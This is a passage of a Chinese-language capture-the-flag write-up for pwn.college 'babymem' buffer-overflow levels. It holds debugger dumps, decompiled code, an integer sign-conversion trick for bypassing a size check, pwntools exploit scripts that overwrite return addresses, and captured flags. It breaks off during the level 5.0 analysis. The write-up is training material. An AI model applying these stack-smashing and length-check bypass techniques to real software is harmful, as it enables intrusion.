0x0000000000401b6d <+91>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000401b75 <+99>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000401b7d <+107>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401b85 <+115>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000401b8d <+123>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000401b95 <+131>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000401b9d <+139>: mov DWORD PTR [rbp-0x18],0x0
0x0000000000401ba4 <+146>: mov WORD PTR [rbp-0x14],0x0
0x0000000000401baa <+152>: lea rax,[rbp-0x80]
0x0000000000401bae <+156>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401bb2 <+160>: mov QWORD PTR [rbp-0x88],0x0
0x0000000000401bbd <+171>: lea rdi,[rip+0x548] # 0x40210c
0x0000000000401bc4 <+178>: mov eax,0x0
0x0000000000401bc9 <+183>: call 0x401130 <printf@plt>
0x0000000000401bce <+188>: lea rax,[rbp-0x88]
0x0000000000401bd5 <+195>: mov rsi,rax
0x0000000000401bd8 <+198>: lea rdi,[rip+0x53c] # 0x40211b
0x0000000000401bdf <+205>: mov eax,0x0
0x0000000000401be4 <+210>: call 0x401180 <__isoc99_scanf@plt>
0x0000000000401be9 <+215>: mov rax,QWORD PTR [rbp-0x88]
0x0000000000401bf0 <+222>: mov rsi,rax
0x0000000000401bf3 <+225>: lea rdi,[rip+0x526] # 0x402120
0x0000000000401bfa <+232>: mov eax,0x0
0x0000000000401bff <+237>: call 0x401130 <printf@plt>
0x0000000000401c04 <+242>: mov rdx,QWORD PTR [rbp-0x88]
0x0000000000401c0b <+249>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401c0f <+253>: mov rsi,rax
0x0000000000401c12 <+256>: mov edi,0x0
0x0000000000401c17 <+261>: call 0x401150 <read@plt>
0x0000000000401c1c <+266>: mov DWORD PTR [rbp-0xc],eax
0x0000000000401c1f <+269>: cmp DWORD PTR [rbp-0xc],0x0
0x0000000000401c23 <+273>: jns 0x401c51 <challenge+319>
0x0000000000401c25 <+275>: call 0x401100 <__errno_location@plt>
0x0000000000401c2a <+280>: mov eax,DWORD PTR [rax]
0x0000000000401c2c <+282>: mov edi,eax
0x0000000000401c2e <+284>: call 0x4011a0 <strerror@plt>
0x0000000000401c33 <+289>: mov rsi,rax
0x0000000000401c36 <+292>: lea rdi,[rip+0x50b] # 0x402148
0x0000000000401c3d <+299>: mov eax,0x0
0x0000000000401c42 <+304>: call 0x401130 <printf@plt>
0x0000000000401c47 <+309>: mov edi,0x1
0x0000000000401c4c <+314>: call 0x401190 <exit@plt>
0x0000000000401c51 <+319>: lea rdi,[rip+0x514] # 0x40216c
0x0000000000401c58 <+326>: call 0x401110 <puts@plt>
0x0000000000401c5d <+331>: mov eax,0x0
0x0000000000401c62 <+336>: leave
0x0000000000401c63 <+337>: ret
End of assembler dump.
pwndbg> b *challenge+261
Breakpoint 1 at 0x401c17
pwndbg> r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-3-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-3-1!
###
Payload size: 1771
Send your payload (up to 1771 bytes)!
Breakpoint 1, 0x0000000000401c17 in challenge ()
20 collapsed lines
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
RAX 0x7fffffffd130 ◂— 0
RBX 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-3-1'
RCX 0
RDX 0x6eb
RDI 0
RSI 0x7fffffffd130 ◂— 0
R8 0x75
R9 0xfffffffc
R10 0
R11 0x202
R12 1
R13 0
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
R15 0
RBP 0x7fffffffd1b0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
RSP 0x7fffffffd100 ◂— 0xa /* '\n' */
RIP 0x401c17 (challenge+261) ◂— call 0x401150
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x401c17 <challenge+261> call read@plt <read@plt>
fd: 0 (/dev/pts/2)
buf: 0x7fffffffd130 ◂— 0
nbytes: 0x6eb
30 collapsed lines
0x401c1c <challenge+266> mov dword ptr [rbp - 0xc], eax
0x401c1f <challenge+269> cmp dword ptr [rbp - 0xc], 0
0x401c23 <challenge+273> jns challenge+319 <challenge+319>
0x401c25 <challenge+275> call __errno_location@plt <__errno_location@plt>
0x401c2a <challenge+280> mov eax, dword ptr [rax]
0x401c2c <challenge+282> mov edi, eax
0x401c2e <challenge+284> call strerror@plt <strerror@plt>
0x401c33 <challenge+289> mov rsi, rax
0x401c36 <challenge+292> lea rdi, [rip + 0x50b] RDI => 0x402148 ◂— 'ERROR: Failed to read input -- %s!\n'
0x401c3d <challenge+299> mov eax, 0 EAX => 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7fffffffd100 ◂— 0xa /* '\n' */
01:0008│-0a8 0x7fffffffd108 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— 'SHELL=/usr/bin/zsh'
02:0010│-0a0 0x7fffffffd110 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-3-1'
03:0018│-098 0x7fffffffd118 ◂— 0x100000000
04:0020│-090 0x7fffffffd120 —▸ 0x7fffffffd140 ◂— 0
05:0028│-088 0x7fffffffd128 ◂— 0x6eb
06:0030rax rsi 0x7fffffffd130 ◂— 0
07:0038│-078 0x7fffffffd138 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
0 0x401c17 challenge+261
1 0x401d2a main+198
2 0x7ffff7dcae08
3 0x7ffff7dcaecc __libc_start_main+140
4 0x4011de _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i frame
Stack level 0, frame at 0x7fffffffd1c0:
rip = 0x401c17 in challenge; saved rip = 0x401d2a
called by frame at 0x7fffffffe1f0
Arglist at 0x7fffffffd1b0, args:
Locals at 0x7fffffffd1b0, Previous frame's sp is 0x7fffffffd1c0
Saved registers:
rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg> distance 0x7fffffffd130 0x7fffffffd1b8
0x7fffffffd130->0x7fffffffd1b8 is 0x88 bytes (0x11 words)

很显然这是想让我们覆盖返回地址控制程序执行流程,达到执行 win 的目的。

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-3-1"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x88, b"A") + p64(0x401A0B)
payload_size = str(len(payload)).encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{k2xNTDjO8L-Rt_oy5sU-i2dFj1y.0FN5IDL5cTNxgzW}

Level 4.0

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Write-up

3 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-B0h] BYREF
int v7; // [rsp+1Ch] [rbp-94h]
size_t nbytes[15]; // [rsp+2Ch] [rbp-84h] BYREF
int v9; // [rsp+A4h] [rbp-Ch]
void *buf; // [rsp+A8h] [rbp-8h]
__int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
41 collapsed lines
_UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF
v7 = a1;
v6[2] = a2;
v6[1] = a3;
buf = (char *)nbytes + 4;
memset(nbytes, 0, 110);
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 106);
puts("large input length, and thus overflow the buffer.\n");
puts("In this level, there is no \"win\" variable.");
puts("You will need to force the program to execute the win() function");
puts("by directly overflowing into the stored return address back to main,");
printf(
"which is stored at %p, %d bytes after the start of your input buffer.\n",
(const void *)rp_,
rp_ - (_DWORD)buf);
printf(
"That means that you will need to input at least %d bytes (%d to fill the buffer,\n",
rp_ - (_DWORD)buf + 8,
106);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (_DWORD)buf - 106);
puts("and 8 that will overwrite the return address).\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
printf("Payload size: ");
__isoc99_scanf("%i", nbytes);
puts("This challenge is more careful: it will check to make sure you");
puts("don't want to provide so much data that the input buffer will");
puts("overflow. But recall twos compliment, look at how the check is");
puts("implemented, and try to beat it!");
if ( SLODWORD(nbytes[0]) > 106 )
{
puts("Provided size is too large!");
exit(1);
}
puts("You made it past the check! Because the read() call will interpret");
puts("your size differently than the check above, the resulting read will");
puts("be unstable and might fail. You will likely have to try this several");
14 collapsed lines
puts("times before your input is actually read.");
printf("You have chosen to send %i bytes of input!\n", LODWORD(nbytes[0]));
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + SLODWORD(nbytes[0]),
LODWORD(nbytes[0]) - 106);
printf("Of these, you will overwrite %d bytes into the return address.\n", (_DWORD)buf + LODWORD(nbytes[0]) - rp_);
puts("If that number is greater than 8, you will overwrite the entire return address.\n");
puts("You will want to overwrite the return value from challenge()");
printf("(located at %p, %d bytes past the start of the input buffer)\n", (const void *)rp_, rp_ - (_DWORD)buf);
printf("with %p, which is the address of the win() function.\n", win);
puts("This will cause challenge() to return directly into the win() function,");
puts("which will in turn give you the flag.");
puts("Keep in mind that you will need to write the address of the win() function");
puts("in little-endian (bytes backwards) so that it is interpreted properly.\n");
printf("Send your payload (up to %i bytes)!\n", LODWORD(nbytes[0]));
v9 = read(0, buf, LODWORD(nbytes[0]));
if ( v9 < 0 )
{
v3 = __errno_location();
20 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v9);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the address of win() is %p.\n", win);
putchar(10);
puts("If you have managed to overwrite the return address with the correct value,");
puts("challenge() will jump straight to win() when it returns.");
printf("Let's try it now!\n\n");
puts("Goodbye!");
return 0LL;
}
// ...
if ( SLODWORD(nbytes[0]) > 106 )
{
puts("Provided size is too large!");
exit(1);
}

SLODWORD(nbytes[0]) > 106 则退出程序。但是我们的 payload 为 144 bytes(提示信息中已经说明了 payload 长度),因此显然不能在 payload size 中直接输入 144。

为了绕过这一点,我们注意到 nbytes 的类型为 size_t

// ...
size_t nbytes[15]; // [rsp+2Ch] [rbp-84h] BYREF

因为 size_t 是无符号整形,所以如果我们提供一个负数,它将会被隐式地转换为无符号数。

根据补码规则我们知道,-1 会被表示成 0xffffffff,如果把它看作无符号数,这无疑是相当大的一个数字。

又因为程序使用 SLODWORD 来判断,这是获取一个有符号数的低 DWORD

那么如果我们输入 -1 ,则程序最后执行 SLODWORD(nbytes[0]) > 106 时判断的会是 0xffffffff106 的大小。很显然前者小于后者,成功绕过了这个 if 判断。

而由于有符号数被隐式转换为无符号数保存在了 nbytes 中,故我们获得了一个相当大的输入范围。

正好 read 获取用户输入的时候也把最大输入大小视作无符号数,毕竟输入大小显然不可能为负数。但这也为我们的攻击带来了可能:

// ...
v9 = read(0, buf, LODWORD(nbytes[0]));

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-4-0"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x88, b"A") + p64(0x4020F3)
target.recvuntil(b"Payload size: ")
target.sendline(b"-1")
target.recvuntil(b"Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{YWYtWHsecMbA0xSnI1_Yfj-kjlB.0VN5IDL5cTNxgzW}

Level 4.1

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Write-up

9 collapsed lines
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
size_t nbytes[7]; // [rsp+2Ch] [rbp-44h] BYREF
int v4; // [rsp+64h] [rbp-Ch]
void *buf; // [rsp+68h] [rbp-8h]
buf = (char *)nbytes + 4;
memset(nbytes, 0, 50);
printf("Payload size: ");
__isoc99_scanf("%i", nbytes);
if ( SLODWORD(nbytes[0]) > 46 )
{
puts("Provided size is too large!");
exit(1);
}
printf("Send your payload (up to %i bytes)!\n", LODWORD(nbytes[0]));
v4 = read(0, buf, LODWORD(nbytes[0]));
if ( v4 < 0 )
{
v0 = __errno_location();
7 collapsed lines
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
puts("Goodbye!");
return 0LL;
}

和上一题思路相同,都是通过有符号数隐式转换为无符号数绕过 payload 长度判断,然后覆盖返回地址。几乎没区别,这里就不再赘述分析过程了。

pwndbg> i fun
20 collapsed lines
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010f0 putchar@plt
0x0000000000401100 __errno_location@plt
0x0000000000401110 puts@plt
0x0000000000401120 write@plt
0x0000000000401130 printf@plt
0x0000000000401140 geteuid@plt
0x0000000000401150 read@plt
0x0000000000401160 setvbuf@plt
0x0000000000401170 open@plt
0x0000000000401180 __isoc99_scanf@plt
0x0000000000401190 exit@plt
0x00000000004011a0 strerror@plt
0x00000000004011b0 _start
0x00000000004011e0 _dl_relocate_static_pie
0x00000000004011f0 deregister_tm_clones
0x0000000000401220 register_tm_clones
0x0000000000401260 __do_global_dtors_aux
0x0000000000401290 frame_dummy
0x0000000000401296 bin_padding
0x0000000000401704 win
0x000000000040180b challenge
0x0000000000401921 main
0x0000000000401a00 __libc_csu_init
2 collapsed lines
0x0000000000401a70 __libc_csu_fini
0x0000000000401a78 _fini
pwndbg> disass challenge
Dump of assembler code for function challenge:
0x000000000040180b <+0>: endbr64
0x000000000040180f <+4>: push rbp
0x0000000000401810 <+5>: mov rbp,rsp
55 collapsed lines
0x0000000000401813 <+8>: sub rsp,0x70
0x0000000000401817 <+12>: mov DWORD PTR [rbp-0x54],edi
0x000000000040181a <+15>: mov QWORD PTR [rbp-0x60],rsi
0x000000000040181e <+19>: mov QWORD PTR [rbp-0x68],rdx
0x0000000000401822 <+23>: mov QWORD PTR [rbp-0x40],0x0
0x000000000040182a <+31>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401832 <+39>: mov QWORD PTR [rbp-0x30],0x0
0x000000000040183a <+47>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000401842 <+55>: mov QWORD PTR [rbp-0x20],0x0
0x000000000040184a <+63>: mov DWORD PTR [rbp-0x18],0x0
0x0000000000401851 <+70>: mov WORD PTR [rbp-0x14],0x0
0x0000000000401857 <+76>: lea rax,[rbp-0x40]
0x000000000040185b <+80>: mov QWORD PTR [rbp-0x8],rax
0x000000000040185f <+84>: mov DWORD PTR [rbp-0x44],0x0
0x0000000000401866 <+91>: lea rdi,[rip+0x89f] # 0x40210c
0x000000000040186d <+98>: mov eax,0x0
0x0000000000401872 <+103>: call 0x401130 <printf@plt>
0x0000000000401877 <+108>: lea rax,[rbp-0x44]
0x000000000040187b <+112>: mov rsi,rax
0x000000000040187e <+115>: lea rdi,[rip+0x896] # 0x40211b
0x0000000000401885 <+122>: mov eax,0x0
0x000000000040188a <+127>: call 0x401180 <__isoc99_scanf@plt>
0x000000000040188f <+132>: mov eax,DWORD PTR [rbp-0x44]
0x0000000000401892 <+135>: cmp eax,0x2e
0x0000000000401895 <+138>: jle 0x4018ad <challenge+162>
0x0000000000401897 <+140>: lea rdi,[rip+0x880] # 0x40211e
0x000000000040189e <+147>: call 0x401110 <puts@plt>
0x00000000004018a3 <+152>: mov edi,0x1
0x00000000004018a8 <+157>: call 0x401190 <exit@plt>
0x00000000004018ad <+162>: mov eax,DWORD PTR [rbp-0x44]
0x00000000004018b0 <+165>: mov esi,eax
0x00000000004018b2 <+167>: lea rdi,[rip+0x887] # 0x402140
0x00000000004018b9 <+174>: mov eax,0x0
0x00000000004018be <+179>: call 0x401130 <printf@plt>
0x00000000004018c3 <+184>: mov eax,DWORD PTR [rbp-0x44]
0x00000000004018c6 <+187>: mov edx,eax
0x00000000004018c8 <+189>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004018cc <+193>: mov rsi,rax
0x00000000004018cf <+196>: mov edi,0x0
0x00000000004018d4 <+201>: call 0x401150 <read@plt>
0x00000000004018d9 <+206>: mov DWORD PTR [rbp-0xc],eax
0x00000000004018dc <+209>: cmp DWORD PTR [rbp-0xc],0x0
0x00000000004018e0 <+213>: jns 0x40190e <challenge+259>
0x00000000004018e2 <+215>: call 0x401100 <__errno_location@plt>
0x00000000004018e7 <+220>: mov eax,DWORD PTR [rax]
0x00000000004018e9 <+222>: mov edi,eax
0x00000000004018eb <+224>: call 0x4011a0 <strerror@plt>
0x00000000004018f0 <+229>: mov rsi,rax
0x00000000004018f3 <+232>: lea rdi,[rip+0x86e] # 0x402168
0x00000000004018fa <+239>: mov eax,0x0
0x00000000004018ff <+244>: call 0x401130 <printf@plt>
0x0000000000401904 <+249>: mov edi,0x1
0x0000000000401909 <+254>: call 0x401190 <exit@plt>
0x000000000040190e <+259>: lea rdi,[rip+0x877] # 0x40218c
0x0000000000401915 <+266>: call 0x401110 <puts@plt>
0x000000000040191a <+271>: mov eax,0x0
0x000000000040191f <+276>: leave
0x0000000000401920 <+277>: ret
End of assembler dump.
pwndbg> b *challenge+201
Breakpoint 1 at 0x4018d4
pwndbg> r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-4-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-4-1!
###
Payload size: 16
Send your payload (up to 16 bytes)!
Breakpoint 1, 0x00000000004018d4 in challenge ()
20 collapsed lines
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────
RAX 0x7fffffffd170 ◂— 0
RBX 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-4-1'
RCX 0
RDX 0x10
RDI 0
RSI 0x7fffffffd170 ◂— 0
R8 0x69
R9 0xfffffffe
R10 0
R11 0x202
R12 1
R13 0
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
R15 0
RBP 0x7fffffffd1b0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
RSP 0x7fffffffd140 —▸ 0x7fffffffd170 ◂— 0
RIP 0x4018d4 (challenge+201) ◂— call 0x401150
────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────
0x4018d4 <challenge+201> call read@plt <read@plt>
fd: 0 (/dev/pts/2)
buf: 0x7fffffffd170 ◂— 0
nbytes: 0x10
30 collapsed lines
0x4018d9 <challenge+206> mov dword ptr [rbp - 0xc], eax
0x4018dc <challenge+209> cmp dword ptr [rbp - 0xc], 0
0x4018e0 <challenge+213> jns challenge+259 <challenge+259>
0x4018e2 <challenge+215> call __errno_location@plt <__errno_location@plt>
0x4018e7 <challenge+220> mov eax, dword ptr [rax]
0x4018e9 <challenge+222> mov edi, eax
0x4018eb <challenge+224> call strerror@plt <strerror@plt>
0x4018f0 <challenge+229> mov rsi, rax
0x4018f3 <challenge+232> lea rdi, [rip + 0x86e] RDI => 0x402168 ◂— 'ERROR: Failed to read input -- %s!\n'
0x4018fa <challenge+239> mov eax, 0 EAX => 0
──────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000rsp 0x7fffffffd140 —▸ 0x7fffffffd170 ◂— 0
01:0008│-068 0x7fffffffd148 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— 'SHELL=/usr/bin/zsh'
02:0010│-060 0x7fffffffd150 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-4-1'
03:0018│-058 0x7fffffffd158 ◂— 0x10000000a /* '\n' */
04:0020│-050 0x7fffffffd160 —▸ 0x7ffff7f8d5c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0028│-048 0x7fffffffd168 ◂— 0x1000404020 /* ' @@' */
06:0030rax rsi 0x7fffffffd170 ◂— 0
07:0038│-038 0x7fffffffd178 ◂— 0
────────────────────────────────────[ BACKTRACE ]────────────────────────────────────
0 0x4018d4 challenge+201
1 0x4019e7 main+198
2 0x7ffff7dcae08
3 0x7ffff7dcaecc __libc_start_main+140
4 0x4011de _start+46
─────────────────────────────────────────────────────────────────────────────────────
pwndbg> i frame
Stack level 0, frame at 0x7fffffffd1c0:
rip = 0x4018d4 in challenge; saved rip = 0x4019e7
called by frame at 0x7fffffffe1f0
Arglist at 0x7fffffffd1b0, args:
Locals at 0x7fffffffd1b0, Previous frame's sp is 0x7fffffffd1c0
Saved registers:
rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg> distance 0x7fffffffd170 0x7fffffffd1b8
0x7fffffffd170->0x7fffffffd1b8 is 0x48 bytes (0x9 words)

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-4-1"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x48, b"A") + p64(0x401704)
target.recvuntil(b"Payload size: ")
target.sendline(b"-1")
target.recvuntil(b"Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{M-FCJzqtx7cmDX7yqpyi7jADAMM.0lN5IDL5cTNxgzW}

Level 5.0

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Write-up

60 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-B0h] BYREF
int v7; // [rsp+1Ch] [rbp-94h]
unsigned int v8; // [rsp+28h] [rbp-88h] BYREF
unsigned int v9; // [rsp+2Ch] [rbp-84h] BYREF
_QWORD v10[12]; // [rsp+30h] [rbp-80h] BYREF
__int16 v11; // [rsp+90h] [rbp-20h]
int v12; // [rsp+9Ch] [rbp-14h]
size_t nbytes; // [rsp+A0h] [rbp-10h]
void *buf; // [rsp+A8h] [rbp-8h]
__int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF
v7 = a1;
v6[2] = a2;
v6[1] = a3;
memset(v10, 0, sizeof(v10));
v11 = 0;
buf = v10;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 98);
puts("large input length, and thus overflow the buffer.\n");
puts("In this level, there is no \"win\" variable.");
puts("You will need to force the program to execute the win() function");
puts("by directly overflowing into the stored return address back to main,");
printf(
"which is stored at %p, %d bytes after the start of your input buffer.\n",
(const void *)rp_,
rp_ - (_DWORD)buf);
printf(
"That means that you will need to input at least %d bytes (%d to fill the buffer,\n",
rp_ - (_DWORD)buf + 8,
98);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (_DWORD)buf - 98);
puts("and 8 that will overwrite the return address).\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
puts("This challenge will let you send multiple payload records concatenated together.");
puts("It will make sure that the total payload size fits in the allocated buffer");
puts("on the stack. Can you send a carefully crafted input to break this calculation?");
printf("Number of payload records to send: ");
__isoc99_scanf("%u", &v9);
if ( !v9 )
__assert_fail("record_num > 0", "/challenge/babymem-level-5-0.c", 0x8Fu, "challenge");
printf("Size of each payload record: ");
__isoc99_scanf("%u", &v8);
if ( !v8 )
__assert_fail("record_size > 0", "/challenge/babymem-level-5-0.c", 0x92u, "challenge");
if ( v8 * v9 > 0x62 )
__assert_fail("record_size * record_num <= 98", "/challenge/babymem-level-5-0.c", 0x93u, "challenge");
nbytes = v8 * (unsigned __int64)v9;
printf("Computed total payload size: %lu\n", nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
11 collapsed lines
printf(
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 98);
printf("Of these, you will overwrite %d bytes into the return address.\n", nbytes + (_DWORD)buf - rp_);
puts("If that number is greater than 8, you will overwrite the entire return address.\n");
puts("You will want to overwrite the return value from challenge()");
printf("(located at %p, %d bytes past the start of the input buffer)\n", (const void *)rp_, rp_ - (_DWORD)buf);
printf("with %p, which is the address of the win() function.\n", win);
puts("This will cause challenge() to return directly into the win() function,");
puts("which will in turn give you the flag.");
puts("Keep in mind that you will need to write the address of the win() function");
puts("in little-endian (bytes backwards) so that it is interpreted properly.\n");
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v12 = read(0, buf, nbytes);
if ( v12 < 0 )
{
v3 = __errno_location();
20 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v12);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the address of win() is %p.\n", win);
putchar(10);
puts("If you have managed to overwrite the return address with the correct value,");
puts("challenge() will jump straight to win() when it returns.");
printf("Let's try it now!\n\n");
puts("Goodbye!");
return 0LL;
}

首先,两个 __isoc99_scanf 都读取无符号数,易想到补码性质和隐式转换问题。其次,读取输入后两条 if 分别判断两个 __isoc99_scanf 输入是否等于零,为零就断言失败。最后,不能满足 v8 * v9 > 0x62 这条判断,也就是输入的两个有符号数相乘(通过反汇编得知这里的乘法使用 imul)的结果必须小于等于 98,否则也会断言失败。

